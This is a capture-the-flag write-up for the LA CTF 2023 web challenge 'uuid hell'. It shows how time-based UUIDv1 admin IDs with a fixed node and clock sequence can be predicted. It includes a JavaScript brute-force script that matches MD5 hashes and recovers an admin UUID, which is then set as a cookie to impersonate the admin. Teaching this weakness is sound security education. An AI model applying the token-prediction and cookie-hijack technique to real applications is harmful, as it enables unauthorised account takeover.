# web/uuid hell [<- Go back to all challenge writeups](https://hackmd.io/@ke1/S1OWulvTi) **Source repo**: https://github.com/uclaacm/lactf-archive/tree/master/2023/web/uuid-hell ## Initial observations When we arrive at the challenge page, we are greeted by a page with three points of information. 1) The UUID of the user we are logged in as 2) A list of strings corresponding to admin users 3) A list of strings corresponding to regular users ![](https://i.imgur.com/GlINMLt.png) Looking at the source code, the page is a simple Express.js application that maintains a list of admins and regular users. If the `id` cookie is not set, the application will generate a new UUID for the current user and append its MD5 hash to the list. The flag is also only revealed if the current user's UUID belongs to that of an admin. Thus our objective is to find an admin's UUID and edit the cookie in our browser to match. ## Approach We can't really brute force UUIDs (there are 32 hexadecimal characters, thus there are on the order of $2^{128}$ combinations). Nor can we crack the MD5 hashes easily as they are not likely to be common hashes. However, there is one thing to notice in the source code. ```javascript function randomUUID() { return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100}); } ``` The application uses UUIDv1, not v4 which is the latest and most commonly used version. Why is that? Because UUIDv1 is predictable in that it uses 3 key factors to generate the UUID. 1) Current epoch time 2) Device's MAC address 3) Clock sequence (an extra random component) The UUID function given provides us two of these three variables, thus this UUID generator function is only randomized with respect to time. We are also given access to the `/createadmin` endpoint which generates a new admin user, but we are only able to see the result after it has been MD5 hashed. ```javascript app.post('/createadmin', (req, res) => { const adminid = randomUUID(); adminuuids.push(adminid); if (adminuuids.length > 50) { adminuuids.shift(); } res.send("Admin account created.") }); ``` Thus our approach is to 1. Call POST /createadmin 2. Get the approximate request time by checking the `Date` header in the response 3. Generate all UUIDv1s in a small time window around that approximate response time 4. MD5 hash them with the same function that the challenge uses 5. Match the generated hashes with the one that appears in the admin list on the challenge page 6. Get the UUID for that hash and impersonate the admin user by editing the `id` cookie ## Solution We can write a script that reuses much of the challenge application's logic. However, we also introduce the time variable to the UUID generation function. We utilize this with fixed time and offset parameters to get a 10 second time window around the moment the request to /createadmin was made, then calculate the MD5 hash for every possible UUID made during that window and return the one that matches on the website. ```javascript const crypto = require('crypto') const uuid = require('uuid') function md5(uuid) {   return crypto.createHash('md5').update('admin' + uuid).digest("hex") } function getUUID(time, offset) {   return uuid.v1({ 'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'msecs': time + offset, 'clockseq': 0b10101001100100 }); } function findUUID(md5hash, time) {   for (let i = -5000; i <= 5000; i++) {     const uuid = getUUID(time, i)     if (md5(uuid) === md5hash) {       return uuid;     }   } } ``` We can use a tool like Postman, cURL, or even JavaScript `fetch` to make the POST request, which is simple and requires no body. Below is an example request. ![](https://i.imgur.com/ep8sgVB.png) We then check the website for the latest generated MD5 hash on the admin list and input that into our script function along with the converted epoch time of the response `Date` header (which we can easily do with JavaScript's `Date` library). ```javascript // MD5 hash of UUID that was created on the website // Epoch time in milliseconds of the returned response header console.log(findUUID('45d21586e2b9150604eb4de749617052', new Date("Sun, 12 Feb 2023 23:23:34 GMT").getTime())); ``` This outputs the UUID of the newest admin user. ``` 453d2820-ab2c-11ed-aa64-67696e6b6f69 ``` From then on, we simply go into DevTools or any other method to edit browser cookies and change the `id` cookie to that UUID. Reloading the page gives us the flag. ![](https://i.imgur.com/SqpUPXR.png) **Flag: lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}**